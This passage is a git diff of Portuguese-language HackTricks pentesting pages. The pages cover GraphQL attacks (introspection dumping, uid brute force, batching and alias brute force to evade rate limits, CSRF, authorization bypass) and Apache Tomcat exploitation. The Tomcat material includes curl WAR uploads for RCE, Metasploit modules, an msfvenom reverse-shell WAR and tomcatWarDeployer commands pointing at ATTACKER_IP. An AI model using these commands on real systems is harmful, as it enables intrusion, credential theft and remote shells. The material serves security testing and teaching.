Na introspecção, você pode encontrar **quais objetos você pode consultar diretamente** (porque você não pode consultar um objeto apenas porque ele existe). Na imagem a seguir, você pode ver que o "_queryType_" é chamado "_Query_" e que um dos campos do objeto "_Query_" é "_flags_", que também é um tipo de objeto. Portanto, você pode consultar o objeto de flag.
|
||||
|
||||
|
@ -207,7 +207,7 @@ Você pode consultá-lo apenas com:
|
|||
```javascript
|
||||
query={hiddenFlags}
|
||||
```
|
||||
Em outro exemplo em que havia 2 objetos dentro do objeto "_Query_": "_user_" e "_users_".\
|
||||
Em outro exemplo em que havia 2 objetos dentro do objeto tipo "_Query_": "_user_" e "_users_".\
|
||||
Se esses objetos não precisarem de nenhum argumento para pesquisa, é possível **recuperar todas as informações deles** apenas **solicitando** os dados desejados. Neste exemplo da Internet, você poderia extrair os nomes de usuário e senhas salvos:
|
||||
|
||||
![](<../../.gitbook/assets/image (208).png>)
|
||||
|
@ -217,16 +217,16 @@ No entanto, neste exemplo, se você tentar fazer isso, receberá este **erro**:
|
|||
![](<../../.gitbook/assets/image (210).png>)
|
||||
|
||||
Parece que de alguma forma ele fará a pesquisa usando o argumento "_**uid**_" do tipo _**Int**_.\
|
||||
De qualquer forma, já sabíamos disso, na seção [Enumeração Básica](graphql.md#enumeração-básica) foi proposta uma consulta que estava nos mostrando todas as informações necessárias: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
De qualquer forma, já sabíamos disso, na seção de [Enumeração Básica](graphql.md#enumeração-básica) foi proposta uma consulta que estava nos mostrando todas as informações necessárias: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
|
||||
Se você ler a imagem fornecida quando eu executar essa consulta, verá que "_**user**_" tinha o **arg** "_**uid**_" do tipo _Int_.
|
||||
|
||||
Então, realizando um leve _**uid**_ bruteforce, descobri que em _**uid**=**1**_ um nome de usuário e uma senha foram recuperados:\
|
||||
Então, realizando uma leve força bruta de _**uid**_, descobri que em _**uid**=**1**_ um nome de usuário e uma senha foram recuperados:\
|
||||
`query={user(uid:1){user,password}}`
|
||||
|
||||
![](<../../.gitbook/assets/image (211).png>)
|
||||
|
||||
Observe que **descobri** que poderia solicitar os **parâmetros** "_**user**_" e "_**password**_" porque se eu tentar procurar por algo que não existe (`query={user(uid:1){noExists}}`) recebo este erro:
|
||||
Observe que **descobri** que poderia solicitar os parâmetros "_**user**_" e "_**password**_" porque se eu tentar procurar por algo que não existe (`query={user(uid:1){noExists}}`) recebo este erro:
|
||||
|
||||
![](<../../.gitbook/assets/image (213).png>)
|
||||
|
||||
|
@ -234,13 +234,13 @@ E durante a fase de **enumeração** descobri que o objeto "_**dbuser**_" tinha
|
|||
|
||||
**Truque de despejo de string de consulta (obrigado a @BinaryShadow\_)**
|
||||
|
||||
Se você puder pesquisar por um tipo de string, como: `query={theusers(description: ""){username,password}}` e você **procurar por uma string vazia**, ele irá **despejar todos os dados**. (_Observe que este exemplo não está relacionado com o exemplo dos tutoriais, para este exemplo suponha que você possa pesquisar usando "**theusers**" por um campo de String chamado "**description**"_).
|
||||
Se você puder pesquisar por um tipo de string, como: `query={theusers(description: ""){username,password}}` e você **procurar por uma string vazia** ele irá **despejar todos os dados**. (_Observe que este exemplo não está relacionado com o exemplo dos tutoriais, para este exemplo suponha que você possa pesquisar usando "**theusers**" por um campo de String chamado "**description**"_).
|
||||
|
||||
### Pesquisa
|
||||
### Pesquisando
|
||||
|
||||
Nesta configuração, um **banco de dados** contém **pessoas** e **filmes**. **Pessoas** são identificadas por seus **e-mails** e **nomes**; **filmes** por seus **nomes** e **classificações**. **Pessoas** podem ser amigas umas das outras e também ter filmes, indicando relacionamentos dentro do banco de dados.
|
||||
|
||||
Você pode **pesquisar** pessoas **pelo** nome e obter seus e-mails:
|
||||
Você pode **pesquisar** pessoas **pelo** **nome** e obter seus e-mails:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(name: "John Doe") {
|
||||
|
@ -300,7 +300,7 @@ name
|
|||
|
||||
**As mutações são usadas para fazer alterações no lado do servidor.**
|
||||
|
||||
Na **introspecção** você pode encontrar as **mutações** **declaradas**. Na seguinte imagem, o "_MutationType_" é chamado de "_Mutation_" e o objeto "_Mutation_" contém os nomes das mutações (como "_addPerson_" neste caso):
|
||||
Na **introspecção** você pode encontrar as **mutações** **declaradas**. Na seguinte imagem, o "_MutationType_" é chamado "_Mutation_" e o objeto "_Mutation_" contém os nomes das mutações (como "_addPerson_" neste caso):
|
||||
|
||||
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png)
|
||||
|
||||
|
@ -347,10 +347,14 @@ releaseYear
|
|||
}
|
||||
}
|
||||
```
|
||||
### Agrupando força bruta em 1 solicitação de API
|
||||
### Sobrecarga de Diretivas
|
||||
|
||||
Essas informações foram retiradas de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
||||
Autenticação por meio da API GraphQL com **envio simultâneo de várias consultas com credenciais diferentes** para verificação. É um ataque de força bruta clássico, mas agora é possível enviar mais de um par de login/senha por solicitação HTTP devido ao recurso de agrupamento do GraphQL. Essa abordagem enganaria aplicativos externos de monitoramento de taxa, fazendo-os pensar que está tudo bem e que não há um bot de força bruta tentando adivinhar senhas.
|
||||
Conforme explicado em [**uma das vulnerabilidades descritas neste relatório**](https://www.landh.tech/blog/20240304-google-hack-50000/), uma sobrecarga de diretivas implica na chamada de uma diretiva mesmo milhões de vezes para fazer o servidor desperdiçar operações até ser possível realizá-lo.
|
||||
|
||||
### Força bruta em lote em 1 solicitação de API
|
||||
|
||||
Essa informação foi retirada de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
||||
Autenticação por meio da API GraphQL com **envio simultâneo de muitas consultas com credenciais diferentes** para verificação. É um ataque clássico de força bruta, mas agora é possível enviar mais de um par de login/senha por solicitação HTTP devido ao recurso de loteamento do GraphQL. Essa abordagem enganaria aplicativos externos de monitoramento de taxa, fazendo-os pensar que está tudo bem e que não há um bot de força bruta tentando adivinhar senhas.
|
||||
|
||||
Abaixo você pode encontrar a demonstração mais simples de uma solicitação de autenticação de aplicativo, com **3 pares de email/senha diferentes por vez**. Obviamente, é possível enviar milhares em uma única solicitação da mesma maneira:
|
||||
|
||||
|
@ -364,15 +368,15 @@ Como podemos ver na captura de tela da resposta, as primeiras e terceiras solici
|
|||
|
||||
Cada vez mais **os pontos finais do graphql estão desabilitando a introspecção**. No entanto, os erros que o graphql lança quando uma solicitação inesperada é recebida são suficientes para ferramentas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recriarem a maior parte do esquema.
|
||||
|
||||
Além disso, a extensão do Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa as solicitações da API GraphQL passando pelo Burp** e **constrói** um **esquema** interno do GraphQL com cada nova consulta que vê. Ele também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso dentro da API. Para mais informações [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
Além disso, a extensão do Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa as solicitações da API GraphQL passando pelo Burp** e **constrói** um esquema interno do GraphQL **com cada nova consulta que vê**. Também pode expor o esquema para GraphiQL e Voyager. A extensão retorna uma resposta falsa quando recebe uma consulta de introspecção. Como resultado, o GraphQuail mostra todas as consultas, argumentos e campos disponíveis para uso na API. Para mais informações [**verifique isso**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
|
||||
Uma **lista de palavras** interessante para descobrir [**entidades GraphQL pode ser encontrada aqui**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||
Uma **lista de palavras** útil para descobrir [**entidades GraphQL pode ser encontrada aqui**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||
|
||||
### Bypassing defesas de introspecção GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
### Bypassing Defesas de Introspecção GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
### **Burlando as Defesas de Introspecção GraphQL**
|
||||
|
||||
Para burlar as restrições em consultas de introspecção em APIs, inserir um **caractere especial após a palavra-chave `__schema`** se mostra eficaz. Este método explora descuidos comuns de desenvolvedores em padrões de regex que visam bloquear a introspecção, focando na palavra-chave `__schema`. Ao adicionar caracteres como **espaços, quebras de linha e vírgulas**, que o GraphQL ignora mas que podem não ser considerados em regex, as restrições podem ser contornadas. Por exemplo, uma consulta de introspecção com uma quebra de linha após `__schema` pode burlar tais defesas:
|
||||
Para burlar restrições em consultas de introspecção em APIs, inserir um **caractere especial após a palavra-chave `__schema`** se mostra eficaz. Este método explora descuidos comuns de desenvolvedores em padrões de regex que visam bloquear a introspecção ao focar na palavra-chave `__schema`. Ao adicionar caracteres como **espaços, quebras de linha e vírgulas**, que o GraphQL ignora mas que podem não ser considerados em regex, as restrições podem ser contornadas. Por exemplo, uma consulta de introspecção com uma quebra de linha após `__schema` pode burlar tais defesas:
|
||||
```bash
|
||||
# Example with newline to bypass
|
||||
{
|
||||
|
@ -380,17 +384,17 @@ Para burlar as restrições em consultas de introspecção em APIs, inserir um *
|
|||
{queryType{name}}}"
|
||||
}
|
||||
```
|
||||
Se não tiver sucesso, considere métodos de solicitação alternativos, como **solicitações GET** ou **POST com `x-www-form-urlencoded`**, pois as restrições podem se aplicar apenas às solicitações POST.
|
||||
Se não for bem-sucedido, considere métodos de solicitação alternativos, como **solicitações GET** ou **POST com `x-www-form-urlencoded`**, pois as restrições podem se aplicar apenas às solicitações POST.
|
||||
|
||||
### **Descobrindo Estruturas GraphQL Expostas**
|
||||
|
||||
Quando a introspecção está desativada, examinar o código-fonte do site em busca de consultas pré-carregadas em bibliotecas JavaScript é uma estratégia útil. Essas consultas podem ser encontradas usando a guia `Sources` nas ferramentas de desenvolvedor, fornecendo insights sobre o esquema da API e revelando potencialmente **consultas sensíveis expostas**. Os comandos para pesquisar dentro das ferramentas de desenvolvedor são:
|
||||
Quando a introspecção está desativada, examinar o código-fonte do site em busca de consultas pré-carregadas em bibliotecas JavaScript é uma estratégia útil. Essas consultas podem ser encontradas usando a guia `Sources` nas ferramentas do desenvolvedor, fornecendo insights sobre o esquema da API e revelando potencialmente **consultas sensíveis expostas**. Os comandos para pesquisar dentro das ferramentas do desenvolvedor são:
|
||||
```javascript
|
||||
Inspect/Sources/"Search all files"
|
||||
file:* mutation
|
||||
file:* query
|
||||
```
|
||||
## CSRF no GraphQL
|
||||
## CSRF em GraphQL
|
||||
|
||||
Se você não sabe o que é CSRF, leia a seguinte página:
|
||||
|
||||
|
@ -398,33 +402,33 @@ Se você não sabe o que é CSRF, leia a seguinte página:
|
|||
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Lá fora, você vai conseguir encontrar vários endpoints GraphQL **configurados sem tokens CSRF.**
|
||||
Lá fora, você será capaz de encontrar vários endpoints GraphQL **configurados sem tokens CSRF.**
|
||||
|
||||
Observe que as requisições GraphQL geralmente são enviadas via solicitações POST usando o Content-Type **`application/json`**.
|
||||
Observe que as solicitações GraphQL geralmente são enviadas via solicitações POST usando o Content-Type **`application/json`**.
|
||||
```javascript
|
||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||
```
|
||||
No entanto, a maioria dos pontos finais do GraphQL também suporta **solicitações POST** **`form-urlencoded`**:
|
||||
No entanto, a maioria dos pontos finais do GraphQL também suporta **pedidos POST** **`form-urlencoded`**:
|
||||
```javascript
|
||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
```
|
||||
Portanto, como as solicitações CSRF como as anteriores são enviadas **sem solicitações de preflight**, é possível **realizar** **alterações** no GraphQL abusando de um CSRF.
|
||||
|
||||
No entanto, observe que o novo valor padrão do cookie da flag `samesite` do Chrome é `Lax`. Isso significa que o cookie será enviado apenas de um site de terceiros em solicitações GET.
|
||||
No entanto, observe que o novo valor padrão do cookie da bandeira `samesite` do Chrome é `Lax`. Isso significa que o cookie só será enviado de um site de terceiros em solicitações GET.
|
||||
|
||||
Observe que geralmente é possível enviar a **solicitação** **de consulta** também como uma **solicitação GET e o token CSRF pode não ser validado em uma solicitação GET.**
|
||||
|
||||
Além disso, abusar de um [ataque **XS-Search**](../../pentesting-web/xs-search.md) pode ser possível para extrair conteúdo do ponto final do GraphQL abusando das credenciais do usuário.
|
||||
Além disso, abusar de um [**ataque XS-Search**](../../pentesting-web/xs-search.md) pode ser possível para extrair conteúdo do endpoint GraphQL abusando das credenciais do usuário.
|
||||
|
||||
Para mais informações, **verifique a** [**postagem original aqui**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
||||
|
||||
## Autorização no GraphQL
|
||||
|
||||
Muitas funções GraphQL definidas no ponto final podem verificar apenas a autenticação do solicitante, mas não a autorização.
|
||||
Muitas funções GraphQL definidas no endpoint podem verificar apenas a autenticação do solicitante, mas não a autorização.
|
||||
|
||||
Modificar as variáveis de entrada da consulta pode resultar em detalhes da conta sensíveis [vazados](https://hackerone.com/reports/792927).
|
||||
|
||||
A mutação pode até levar à tomada de conta tentando modificar dados de outras contas.
|
||||
A mutação pode até resultar em apropriação de conta ao tentar modificar dados de outras contas.
|
||||
```javascript
|
||||
{
|
||||
"operationName":"updateProfile",
|
||||
|
@ -436,17 +440,17 @@ A mutação pode até levar à tomada de conta tentando modificar dados de outra
|
|||
|
||||
[Encadear consultas](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) pode contornar um sistema de autenticação fraco.
|
||||
|
||||
No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que ela deve executar apenas a consulta forgotPassword associada a ela. Isso pode ser contornado adicionando uma consulta ao final, neste caso adicionamos "register" e uma variável de usuário para o sistema se registrar como um novo usuário.
|
||||
No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que deve executar apenas a consulta forgotPassword associada a ela. Isso pode ser contornado adicionando uma consulta ao final, neste caso adicionamos "register" e uma variável de usuário para o sistema se registrar como um novo usuário.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bypassando Limites de Taxa Usando Aliases no GraphQL
|
||||
## Bypass de Limites de Taxa Usando Aliases no GraphQL
|
||||
|
||||
No GraphQL, os aliases são um recurso poderoso que permite **nomear propriedades explicitamente** ao fazer uma solicitação de API. Essa capacidade é particularmente útil para recuperar **múltiplas instâncias do mesmo tipo** de objeto em uma única solicitação. Os aliases podem ser usados para superar a limitação que impede que objetos GraphQL tenham várias propriedades com o mesmo nome.
|
||||
|
||||
Para uma compreensão detalhada dos aliases do GraphQL, o seguinte recurso é recomendado: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
Para uma compreensão detalhada dos aliases do GraphQL, recomenda-se o seguinte recurso: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
|
||||
Embora o objetivo principal dos aliases seja reduzir a necessidade de inúmeras chamadas de API, foi identificado um caso de uso não intencional em que os aliases podem ser aproveitados para executar ataques de força bruta em um endpoint GraphQL. Isso é possível porque alguns endpoints são protegidos por limitadores de taxa projetados para impedir ataques de força bruta restringindo o **número de solicitações HTTP**. No entanto, esses limitadores de taxa podem não considerar o número de operações dentro de cada solicitação. Dado que os aliases permitem a inclusão de várias consultas em uma única solicitação HTTP, eles podem contornar tais medidas de limitação de taxa.
|
||||
Embora o objetivo principal dos aliases seja reduzir a necessidade de inúmeras chamadas de API, foi identificado um caso de uso não intencional em que os aliases podem ser aproveitados para executar ataques de força bruta em um endpoint GraphQL. Isso é possível porque alguns endpoints são protegidos por limitadores de taxa projetados para impedir ataques de força bruta restringindo o **número de solicitações HTTP**. No entanto, esses limitadores de taxa podem não considerar o número de operações em cada solicitação. Dado que os aliases permitem a inclusão de várias consultas em uma única solicitação HTTP, eles podem contornar tais medidas de limitação de taxa.
|
||||
|
||||
Considere o exemplo fornecido abaixo, que ilustra como consultas com alias podem ser usadas para verificar a validade de códigos de desconto de loja. Este método poderia contornar a limitação de taxa, pois compila várias consultas em uma única solicitação HTTP, permitindo potencialmente a verificação de vários códigos de desconto simultaneamente.
|
||||
```bash
|
||||
|
@ -500,10 +504,10 @@ valid
|
|||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -70,7 +70,7 @@ $file = file_get_contents($url, false, $context);
|
|||
```
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -85,6 +85,6 @@ Outras formas de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,9 +2,9 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -41,7 +41,7 @@ Identificar as localizações exatas dos diretórios **`/manager`** e **`/host-m
|
|||
|
||||
### **Enumeração de Nomes de Usuário**
|
||||
|
||||
Para versões do Tomcat anteriores à 6, é possível enumerar nomes de usuários através de:
|
||||
Para versões do Tomcat anteriores à 6, é possível enumerar nomes de usuário através de:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
|
@ -78,7 +78,7 @@ Acesso a `/auth.jsp` pode revelar a senha em um rastreamento sob circunstâncias
|
|||
|
||||
A vulnerabilidade CVE-2007-1860 em `mod_jk` permite a travessia de caminho com codificação de URL dupla, possibilitando acesso não autorizado à interface de gerenciamento por meio de uma URL especialmente elaborada.
|
||||
|
||||
Para acessar a interface de gerenciamento do Tomcat, vá para: `caminhoTomcat/%252E%252E/manager/html`
|
||||
Para acessar a interface de gerenciamento da web do Tomcat, vá para: `pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /exemplos
|
||||
|
||||
|
@ -109,11 +109,11 @@ As versões do Apache Tomcat de 4.x a 7.x incluem scripts de exemplo suscetívei
|
|||
|
||||
### **Exploração de Traversão de Caminho**
|
||||
|
||||
Em algumas [**configurações vulneráveis do Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), é possível obter acesso a diretórios protegidos no Tomcat usando o caminho: `/..;/`
|
||||
Em algumas [**configurações vulneráveis do Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), você pode obter acesso a diretórios protegidos no Tomcat usando o caminho: `/..;/`
|
||||
|
||||
Portanto, por exemplo, você pode ser capaz de **acessar a página do gerenciador do Tomcat** acessando: `www.vulneravel.com/lalala/..;/manager/html`
|
||||
Portanto, por exemplo, você pode ser capaz de **acessar a página do gerenciador do Tomcat** acessando: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
**Outra maneira** de contornar caminhos protegidos usando esse truque é acessar `http://www.vulneravel.com/;param=value/manager/html`
|
||||
**Outra maneira** de contornar caminhos protegidos usando esse truque é acessar `http://www.vulnerable.com/;param=value/manager/html`
|
||||
|
||||
## RCE
|
||||
|
||||
|
@ -121,7 +121,7 @@ Por fim, se você tiver acesso ao Gerenciador de Aplicativos da Web do Tomcat, v
|
|||
|
||||
### Limitações
|
||||
|
||||
Você só poderá implantar um WAR se tiver **privilégios suficientes** (funções: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_, geralmente definidos em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre as versões) (veja a seção [POST](tomcat.md#post)).
|
||||
Você só poderá implantar um WAR se tiver **privilégios suficientes** (funções: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_ geralmente definido em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre as versões) (veja a seção [POST](tomcat.md#post)).
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -132,6 +132,8 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
|
|||
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
||||
```
|
||||
### Metasploit
|
||||
|
||||
Metasploit é uma ferramenta de código aberto amplamente utilizada para testes de penetração. Ele fornece uma plataforma para desenvolver, testar e usar exploits contra sistemas alvo. O Metasploit é altamente flexível e possui uma grande variedade de módulos que podem ser usados para explorar vulnerabilidades em serviços da web, como o Apache Tomcat.
|
||||
```bash
|
||||
use exploit/multi/http/tomcat_mgr_upload
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||||
|
@ -142,13 +144,13 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
|||
```
|
||||
### Shell Reverso MSFVenom
|
||||
|
||||
1. Criar o arquivo war para implantar:
|
||||
1. Criar o arquivo war para implantação:
|
||||
```bash
|
||||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
### 2. Fazer upload do arquivo `revshell.war` e acessá-lo (`/revshell/`):
|
||||
2. Faça o upload do arquivo `revshell.war` e acesse-o (`/revshell/`):
|
||||
|
||||
### Conectar e obter shell reverso com [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
### Conexão e shell reverso com [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||
|
||||
Em alguns cenários, isso não funciona (por exemplo, em versões antigas da sun)
|
||||
|
||||
|
@ -160,7 +162,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
|||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||||
```
|
||||
#### Shell de ligação
|
||||
#### Shell de Conexão
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||||
```
|
||||
|
@ -216,12 +218,12 @@ O nome do arquivo de credenciais do Tomcat é _tomcat-users.xml_
|
|||
```bash
|
||||
find / -name tomcat-users.xml 2>/dev/null
|
||||
```
|
||||
### Outras maneiras de obter credenciais do Tomcat:
|
||||
Outras maneiras de obter credenciais do Tomcat:
|
||||
```bash
|
||||
msf> use post/multi/gather/tomcat_gather
|
||||
msf> use post/windows/gather/enum_tomcat
|
||||
```
|
||||
## Outras ferramentas de varredura do tomcat
|
||||
## Outras ferramentas de varredura tomcat
|
||||
|
||||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||
|
||||
|
@ -232,7 +234,7 @@ msf> use post/windows/gather/enum_tomcat
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -1,10 +1,10 @@
|
|||
# Informações Básicas sobre o Tomcat
|
||||
# Informações Básicas sobre Tomcat
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
